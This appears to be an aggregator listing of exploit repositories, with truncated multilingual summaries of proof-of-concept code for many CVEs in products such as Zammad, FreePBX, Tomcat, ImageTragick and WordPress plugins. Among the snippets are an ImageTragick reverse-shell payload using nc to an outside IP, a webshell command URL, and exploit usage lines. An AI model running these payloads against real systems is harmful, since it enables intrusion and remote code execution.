CVE-2026-34724

🚨 CVE-2026-34724 - Zammad 7.0.1 - 通过AI代理的服务器端模板注入（SSTI）导致远程代码执行（RCE） 📌 概述 Zammad 是一个流行的开源基于 Web 的帮助台和客户支持系统。 CVE-2026-34724 是新的 AI Agent 功能中的一个 服务器端模板注入（SSTI） 漏洞。 一个能够修改 typeenrichmentdata 配置的已认证 管理员 可以注入恶意模板，当 AI 代理处理数据时导致 完全远程代码执行（RCE） 。 受影响版本 ：Zammad 7.0.1 修复版本 ：Zammad 7.0.1 （于 2026 年 4 月 8 日发...

CVE-2026-3844-Lab

CVE-2026-3844 — Laboratório de Upload Arbitrário de Arquivo Não Autenticado para RCE no Breeze Cache Laboratório Docker exclusivamente local para reproduzir e comparar o comportamento da CVE-2026-3844 no plugin Breeze Cache do WordPress. Este repositório demonstra o comportamento vulnerável no...

CVE-2021-30461

प्रभावित उत्पाद VoIPmonitor 24.60 RCE कैसे करें root@kitploit: python3 CVE-2021-30461.py -t ipaddress ब्राउज़र शेल: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami संदर्भ https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2025-55182-React2Shell

CVE-2025-55182-React2Shell 由 infrar3d 开发 一个影响 React.js 服务器端使用的 10.0 严重性漏洞，在 React.js 中被跟踪为 CVE-2025-55182，在 Next.js 框架中被跟踪为 CVE-2025-66478。 该漏洞由 Lachlan Davidson 于 2025 年 11 月 29 日太平洋时间负责任地向 Meta 团队披露。React 和 Vercel 于 2025 年 12 月 3 日太平洋时间进行了初步披露和补丁发布。（原文：https://react2shell.com/） 用法： root@kitploi...

PageMyadmin_file_upload_getshell

इस रिपॉजिटरी में README नहीं है।...

lenovo_exec

lenovoexec CVE-2022-3699 com capacidade de execução arbitrária de código no kernel exploit original: https://github.com/alfarom256/CVE-2022-3699...

CVE-2025-49071

CVE-2025-49071 Flozen 1.5.1 - 未认证的任意文件上传 描述： Flozen Theme 1.5.1 - 未认证的任意文件上传 描述 WordPress 的 Flozen 主题（版本 1.5.1 及以下）存在未认证的任意文件上传漏洞，原因是 flozenaddnewcustomfont 函数缺少身份验证检查且文件类型验证不足。这允许未认证的攻击者上传包含恶意 PHP 代码（例如 webshell）的任意 ZIP 文件，这些文件会自动解压到 wp-content/uploads/nasa-custom-fonts/ 目录，从而导致完全远程代码执行（RCE）。 信息...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

CVE-2023-47460

CVE-2023-47460 विवरण Knovos Discovery v.22.67.0 में SQL इंजेक्शन भेद्यता एक दूरस्थ हमलावर को /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure घटक के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है। भेद्यता प्रकार SQL इंजेक्शन उत्पाद का विक्रेता Knovos Discovery प्रभावित उत्पाद कोड...

CVE-2023-47459

CVE-2023-47459 विवरण Knovos Discovery v.22.67.0 में एक भेद्यता पाई गई है जो किसी दूरस्थ हमलावर को इन घटकों का उपयोग करके गोपनीय जानकारी तक पहुँचने की अनुमति देती है: /DiscoveryReview/Service/CaseManagement.svc/GetProductSiteName,...

CVE-2025-57819-RCE

FreePBX 16 — De SQLi não autenticada a RCE Resumo: Esta documentação demonstra como combinar duas vulnerabilidades no FreePBX 16 CVE-2025-57819 e CVE-2025-61678 para construir uma cadeia de ataque completa que evolui do acesso não autenticado à execução remota de código Remote Code Execution, RCE...

CVE-2025-32432

🔐 CVE-2025-32432 — RCE Pré-Autenticação no Craft CMS Execução Remota de Código Pré-Autenticação no Craft CMS Descoberto e desenvolvido porMohammed Idrees Banyamer 📌 Visão Geral CVE-2025-32432 é uma vulnerabilidade crítica de Execução Remota de Código RCE pré-autenticação que afeta várias versões ...

CVE-2018-15133-PoC

CVE-2018-15133-PoC Ce script Python implémente un exploit d'exécution de code à distance RCE pour les applications Laravel vulnérables via une désérialisation non sécurisée, basé sur la vulnérabilité CVE-2018-15133. L'exploit exploite une vulnérabilité dans Laravel versions 5.5.40 et antérieures,...

CVE-2025-48932-Invision-Community-SQLi-Exploit

🔓 CVE-2025-48932 - Exploit de Injeção SQL no Invision Community ⚡ Visão Geral da Vulnerabilidade Crítica CVE-2025-48932 é uma vulnerabilidade crítica de injeção SQL cega não autenticada descoberta no Invision Community versões ≤ 4.7.20. Este exploit permite que atacantes remotos: 🔍 Extrair...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 影响 Apache Tomcat —— 如果使用的是存在漏洞的版本且配置严重不当，攻击者只需一次 GET 和一次 POST 即可实现 RCE。 更多信息请点击此处 此脚本来自 Yiheng An、Jun Li、Qiang Liu、Haozhe Zhang、Qi Deng 近期发布的分析文章，经修改后可接受命令、生成所有 ysoserial gadget 载荷并将其发送至目标。 分享此脚本旨在促进道德安全测试。 使用示例： root@kitploit: python3 exploit.py --command 'curl...

-WinVerifyTrust-Signature-Validation-CVE-2013-3900-Mitigation

CVE-2013-3900 Microsoft के WinVerifyTrust फ़ंक्शन द्वारा Windows Authenticode हस्ताक्षर सत्यापन को संभालने के तरीके में एक दूरस्थ कोड निष्पादन भेद्यता है। यह दोष किसी हमलावर को फ़ाइल के किसी असत्यापित भाग में दुर्भावनापूर्ण कोड जोड़कर, उसके हस्ताक्षर को अमान्य किए बिना, हस्ताक्षरित निष्पादन योग्य...

CVE-2020-8816

CVE-2020-8816 Execução Remota de Código no Pi-hole autenticada Versão = 4.3.2 Uso python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin Exemplo Mais informações https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/...

Exploits

Este repositório contém uma coleção pessoal de CVEs do Windows que transformei em código-fonte de exploits, bem como uma coleção de payloads que escrevi para serem usados em conjunto com esses exploits. Alguns desses CVEs foram combinados em cadeias de exploração para RCE, escape de sandbox e...

CVE-2024-29272

CVE-2024-29272 Это Proof-of-Concept для CVE-2024-29272, неаутентифицированная уязвимость произвольной загрузки файлов, которая приводит к удаленному выполнению кода в версиях VvvebJS -l -p в другом терминале: root@kitploit: nc -lvnp...

CVE-2021-21972

Utilisation : CVE-2021-21972.py option -u ou --url : URL cible -t ou --type : Type de payload ssh/webshell -f ou --file : Fichier à téléverser webshell ou authorizedkeys Exemple : CVE-2021-21972.py -u https://127.0.0.1 -t webshell -f shell.jsp -p ou --proxy : Définir un proxy Exemple :...